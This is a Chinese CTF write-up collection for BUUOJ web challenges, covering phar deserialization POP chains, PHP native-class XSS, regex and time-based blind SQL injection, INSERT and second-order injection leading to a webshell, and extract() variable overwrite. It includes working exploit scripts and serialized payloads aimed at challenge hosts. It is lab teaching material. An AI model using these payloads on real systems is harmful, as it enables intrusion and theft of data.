BUUOJ-Web题目记录
题目会分类记录并标注关键考点,这样也方便日后随时捡起来看🥣。
# 反序列化
# SimplePHP
右键查看网页源代码一下发现题目给了提示
存在上传文件和查看文件的功能,查看文件的页面中可以观察到url很可疑,可能存在文件包含

传参?file=f1ag.php
,发现被过滤掉了

传参?file=index.php
可以拿到index.php的源码,然后可以拿到所有源码
下面直接看关键代码:
//function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//md5(1170.0.2).jpg
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
使用白名单策略,只允许上传gif jpeg jpg png文件,并会对我们上传的文件进行重命名。
//class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
class.php中又给了这么多类,估计是要考察反序列化,文件上传+反序列化,直接很自然的联想到phar文件。
下面看一下有没有什么地方可以触发phar文件的反序列化
//file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
找到file_exists()函数,接下来就是寻找POP链然后生成phar文件了。寻找反序列化的入口__destruct(),该魔术方法仅在C1e4r类中存在,Show类中有__toString()方法,而__destruct()中的echo
会触发该方法,所以直接让$this->str = new Show()
即可,str会赋值给test,从而触发__toString(),Test类中有__get()方法,如果让__toString()类中的str['str'] = new Test()
,那么str['str']就会访问本类中不存在的成员变量source,从而触发__get(),然后就可以进行文件读取了。
生成phar文件:
<?php
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str'] = new Test();
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params['source'] = "/var/www/html/f1ag.php";
}
}
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$a = new C1e4r();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
后缀改成gif进行上传,计算被重命名之后的文件名,然后利用phar协议拿到base64编码之后的f1ag.php,解码即可。
# BabysqliV0
登录框注了好久结果是弱口令爆破??我晕,被题目误导了···
admin password可以直接登录
可能存在文件包含,尝试读一下upload的源码看看:
这里有点小坑,一开始我的payload是resource=upload.php
,结果怎么也绕不了WAF,看来WP才知道是resouce=upload
,不过做完题目发现了一个没注意到的细节:
红线部分是upload.php.
,可以看的出第二个.
之后的php应该是被WAF掉了,然后第一个.php
题目本身自带的,所以直接写resource=upload
就行了
拿到upload.php的源码:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
文件上传+反序列化,又是考phar文件···这个题目不用找POP链,直接利用__destruct()魔术方法就行
生成phar文件的exp:
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
public function __construct()
{
$this->token = "GXYd439ecb8900f38de9127690557ec3a3d";
$this->cmd = 'highlight_file("/var/www/html/flag.php");';
}
}
@unlink("A.phar");
$phar = new Phar("A.phar");
$phar->startBuffering();
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$a = new Uploader();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
之后利用name参数触发phar://协议,再任意上传一个文件即可拿到flag。
# xss之光
看似XSS,实则考PHP原生类的反序列化
考点:
- PHP原生类反序列化漏洞
题目存在git源码泄露,恢复一下,源码如下:
//index.php
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
2
3
4
5
6
无法构造POP链的时候考虑用一下PHP原生类,参考文章:这里
- toString()方法:当一个对象被当做字符串的时候触发
由于服务器PHP版本是5.6,所以用Exception类来打。利用echo来触发Exception类中的toString()方法,从而造成XSS。
生成payload:
<?php
$a = new Exception("<script>alert</script>");
$b = serialize($a);
echo urlencode($b);
?>
2
3
4
5
传参:

XSS成功,但是看了一下响应头中并没有带出flag,看了一下WP好像是题目的问题?😐要传一个产生跳转的payload来带出flag:
<?php
$a = new Exception('<script>window.location.href="http://www.baidu.com";</script>');
$b = serialize($a);
echo urlencode($b);
?>
2
3
4
5
Burp抓一下包放到Repeater模块重发一下,在响应头就能看到带出的flag:
# [HarekazeCTF2019]Easy Notes
考点:
- session文件伪造
- session反序列化
# SQL注入
# SQLi
考点:正则盲注
提示SQL注入,输了几个关键字均弹窗‘hacker’,简单做了一下FUZZ测试,发现还是有几个字符可以使用:
接着扫了个后台,扫到了hint.txt
hint.txt的内容:
可以看到一些常规的SQL注入关键字都被过滤掉了,然后提示我们只要拿到admin的密码,就可以得到flag了。另外,首页告诉了我们查询的sql语句:
考虑用反斜杠进行转义,双引号和正则没被过滤,然后passwd和username还在一张表里面,用正则盲注吧。。
没法用注释符号,考虑用%00进行截断。
exp如下:
import requests
from urllib import parse
url = 'http://e3fe3f17-c256-42fe-81f2-7fcd51370966.nodebuuoj.cn/'
s = requests.Session()
password = ''
str = '1234567890!@#$%&()-=[];{}:"<>_qwertyuiopasdfghjklzxcvbnm'
for i in range(1, 100):
for j in str:
data = {
"username": '\\',
"passwd": '||passwd/**/REGEXP/**/"^{}";\x00'.format(password + j)
}
res = s.post(url=url, data=data)
print(data)
if (res.status_code == 404):
password += j
print(password)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
不过有点奇怪的是burp跑出来的状态码是302,到python里就成了404了··· 搞不懂
然后注意%00在python里用十六进制表示成\x00即可
跑出来的密码:
用户名任意,登录即可
# 不是文件上传
考点:
- INSERT注入
- 反序列化
BUUOJ的环境题目直接给了github的源码,clone下来,源码如下(部分关键位置已经做了注释):
//helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
//getfile->check
//返回一个储存上传的文件信息的数组
$fileinfo = $this->getfile($input);
$array = array();
//复制给新创建的数组$array
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
//getimagesize函数返回一个图片信息的数组,包含图片高度宽度等
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
//以序列化字符串的形式存储图像高度和宽度
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
//上传的文件的名称
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
//只允许上传以下四种后缀名的文件
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
//mysql连接
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
//implode() 函数返回一个由数组元素组合成的字符串。
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
//mysqli_insert_id() 函数返回最后一个查询中生成的ID值
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
//show.php
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();
class show{
public $con;
//连接数据库
public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
//获取图片信息
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
//获取每一行的信息
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
//反序列化attr
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//upload.php
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>
<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}
if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
?>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
文件上传的过程中filename可控,在check()方法中直接利用没做任何处理的filename来生成title,并直接插入数据库,可以造成INSERT注入从而插入我们的恶意信息。
//正常语句
INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('a','b','c','d','e')
//通过控制filename来改变tile的值来造成注入
//filename = 1','1','1','1','1')#.jpg -> tile = 1','1','1','1','1')#
//注入之后的结果
INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1','1')#','b','c','d','e')
2
3
4
5
6
7
8
那该怎么利用呢?服务器会将图片的高度和宽度以序列化字符串的形式保存在images的attr字段中,并且在show.php中还会进行反序列化:
在helper.php中存在能造成文件读取的方法:
那么就利用这一点,利用INSERT注入来插入我们构造的恶意序列化字符串,从而进行文件读取。生成payload:
<?php
class helper {
protected $folder = "pic/";
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo(serialize($a));
2
3
4
5
6
7
8
9
因为服务器会进行一个字符串替换的操作,所以需要对生成的payload进行相应的处理来保证序列化字符串格式正确
//替换前
O:6:"helper":3:{s:9:"*folder";s:4:"pic/";s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
//替换后
O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
2
3
4
再利用INSERT注入来插入payload从而进行反序列化,修改filename为1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a22002a00666f6c646572223b733a343a227069632f223b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg
这里有个小tips:
- 0x开头的数据在数据库中会被自动解析成字符串,所以需要对我们替换好的pyload进行一次hex转换(bin2hex()函数)
这样一来,插入后的语句就变成了:
INSERT INTO images(`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a22002a00666f6c646572223b733a343a227069632f223b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#','1','1','1','1')
就可以进行读取文件了,Burp抓包改一下文件名,再到show.php拿flag就行了:
# filemanager
考点:
- 二次注入
另外,这个题目还纠正了我的一个误区:
- 经过addslashes()函数处理之后的字符串虽然本身关键字符被转义,但是存入数据库的时候回自动还原。
//实例代码
$a = addslashes($a) //此时$a本身字符串改变了,但是存入数据库的的时候回被自动还原成转义之前的状态
2
3
解题:
题目存在源码泄露,扫一下可以得到www.tar.gz
拿到源码,其中关键代码如下(已做注释):
//upload.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/
require_once "common.inc.php";
if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
//检查文件后缀名
if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
//修改后缀名为.{extension}
$name = $path_parts["filename"] . $path_parts["extension"];
// $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
//加转义符号
$path_parts['filename'] = addslashes($path_parts['filename']);
//{extension}白名单策略,文件名又经过转义函数处理。
//这里应该没有可以注入的地方
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
//执行sql语句
$fetch = $db->query($sql);
//根据查询的结果来判断文件是否存在
if ($fetch->num_rows > 0) {
exit("file is exists");
}
//把临时文件移动到upload/{filename}目录下
if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
//向数据库里插入信息
//insert into `file` (`filename`,`view`,`extension`) values('{filename}','0','{extension}')
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
//执行sql语句
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
//显示上传的文件地址
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//rename.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
//req['oldname'] = addslashes(value)
//req['newname'] = addslashes(value)
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
} else {
exit("old file doesn't exists!");
}
if ($result) {
$req['newname'] = basename($req['newname']);
//向数据库中取出数据并没有经过函数处理,存在二次注入
//数据无法传入后缀名
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
//重命名文件和目录
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
<p>
<span>old filename(exclude extension):</span>
<input type="text" name="oldname">
</p>
<p>
<span>new filename(exclude extension):</span>
<input type="text" name="newname">
</p>
<p>
<input type="submit" value="rename">
</p>
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
upload.php中对传入数据库中字符做了转义处理,但是在rename.php中再次引用数据库中的数据的时候没有进行转义处理,引发了二次注入。
上传webshell',extension='.png
,在rename.php中进行重命名:
这样经过拼接之后的sql语句为:
update `file` set `filename`='12png', `oldname`='',extension='' where `fid` = `{fid}`
重命名成功,并将文件12png的extension字段置为空:
此时如果再将12png重命名为12php,因为extension字段为空,所以newname=12php,看似可以写入一个Webshell,但是直接重命名只是修改了数据库中数据,并没有对文件做实质性的改动,也就是说,尽管数据库中的数据是12php,但是在上传目录下的文件名依然是12png,原因如下:
//rename.php
if (file_exists($oldname)) {
//重命名文件和目录
rename($oldname, $newname);
}
2
3
4
5
6
只有满足$oldname存在,才可以进行实质性的文件重命名,也就是说还需要额外上传一个同名的Webshell,来满足这个if条件,在上传过程中并不会报file is exists
的错误,具体原因如下:
//upload.php
//将文件信息存入数据库的sql语句
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
//我们上传12png,这个文件的extension会被解析为png,我们之前上传的文件extension字段已经被置位空,所以尽管两个文件的文件名相同,但是本质上并不重名。
//更直观一点,在数据表的字段信息分别为:
|fid|filename|oldname|view|extension|
| 1 |12png | | 0 | |
| 2 |123 | | 0 | png |
2
3
4
5
6
7
8
9
10
11
12
这样一来,12png就可以被重命为12php,Webshell写入成功:

RCE随便打:
# [SWPU2019]Web4
考点:
- SQL注入(time based、堆叠注入)
- 代码审计
题目给了一个登录框,如果点击注册功能的话会弹窗注册功能未开放;如果随便输用户名点登录的话没有反应,抓包看看:
username
和password
是用json格式发送的,并且会返回一段信息。先测试有没有注入点:我在username
后面添加了一个引号,引发了报错,但是这个报错是php的报错,不是Mysql的报错,所以无法进行报错注入
经过简单的手动fuzz之后发现没有办法进行联合查询(因为没有回显)和有Boolean回显的盲注,我猜可能是服务器全给WAF掉了,一般这种情况下可以考虑以下堆叠注入,所以我修改username
为123';
,结果发现回显正常:
这样一来,拼接到服务器端的SQL语句就是:
select * from {table_name} where username='123';' and password='123'
因为;
号表示一个SQL语句的结束,;
号后面的一个'
号被认为是下一个SQL语句的开始,所以没有产生报错,也就是说,这个题目是存在堆叠注入的(;
号被解析了)。
题目没有回显,所以可以尝试使用时间盲注 + 堆叠注入来进行注入,下面是简单的演示:
另外可以把SQL语句进行hex转换来绕过WAF(在MySQL中0x开头的十六进制数会被转换成字符串),下面贴上我的脚本:
import requests
import json
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = 'http://14404d01-74ee-411a-b1c3-bc37abb07bd1.node3.buuoj.cn/index.php?r=Login/Login'
flag = ''
for i in range(1, 50):
for j in range(32, 127):
# temp_payload = 'select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,sleep(3))'.format(str(i), str(j))
# table: flag
# temp_payload = "select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))>{}),1,sleep(3))".format(str(i), str(j))
# cloumn: flag
temp_payload = "select if((ascii(substr((select group_concat(flag) from flag),{},1))>{}),1,sleep(3))".format(str(i), str(j))
payload = "1';set @a=0x" + str_to_hex(temp_payload) + ";prepare inj from @a;execute inj -- "
data = {
"username": payload,
"password": "123456"
}
data = json.dumps(data)
res = requests.post(url=url, data=data)
print(res.elapsed.seconds)
if res.elapsed.seconds > 2:
flag = flag + chr(j)
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
最后得到了如下结果:
拿到源码
是一个简单的MVC框架,fun.php
中对传入的r
参数进行了相应的处理:
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";
if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
审计的过程我就不详细说了,就简单说一下关键的地方:在BaseController.php
中会接受两个参数,其中会对viewData
进行extract
处理,这里是会造成变量覆盖的。
# BaseController.php
<?php
/**
* 所有控制器的父类
*/
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
接着逆向追踪调loadView
的地方:
在LoginController
这个控制器中传入loadView
方法中的参数都是写死了的,所以暂且不是我们要审计的重点,同时可以看到,在UserController
这个控制器中同样调用了该方法,同时用一个变量作为loadView
方法的第二个参数,结合之前我们所提到的变量覆盖,所以可以跟进该控制器,进一步进行审计:
# UserController.php
<?php
/**
* 用户控制器
*/
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
在第二个方法actionIndex
中把$_REQUEST
这个数组赋值给了$listData
,然后传入了loadView
方法,也就是说我们可以控制该方法的第二个参数进行变量覆盖。传入该方法的第一个参数是userIndex
,我们再跟进viewIndex
方法进行后续的审计。
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
2
3
4
5
6
7
8
9
该方法会将第一个参数进行一下路径的拼接得到一个php文件,然后直接包含该文件,因为传入loadView
方法的第一个参数是userIndex
,所以我们跟进userIndex.php
:
<div class="container">
<div class="row">
<div class="col-sm-4">
<h2>关于我</h2>
<h5>我的照片:</h5>
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
</div>
</div>
</div>
······
<?php
function imgToBase64($img_file) {
$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等
$fp = fopen($app_img_file, "r"); // 图片是否可读权限
if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}
$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码
}
fclose($fp);
}
return $img_base64; //返回图片的base64
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$img_file
是我们通过变量覆盖可以随意更改的,然后会将该变量所对应的文件内容进行b64编码处理,那么思路就是:访问对应的控制器,通过变量覆盖修改$img_file
为flag.php
,得到flag。
我们需要的控制器是UserController
,要使用的方法是该控制器下的actionIndex
,所以需要修改f参数为User/Index
,同时传入img_file
参数进行变量覆盖:
http://322ce0e8-adc4-4718-819d-553aa6899ac5.node3.buuoj.cn/index.php?r=User/Index&img_file=/../flag.php
解码一下,拿到flag:
注意
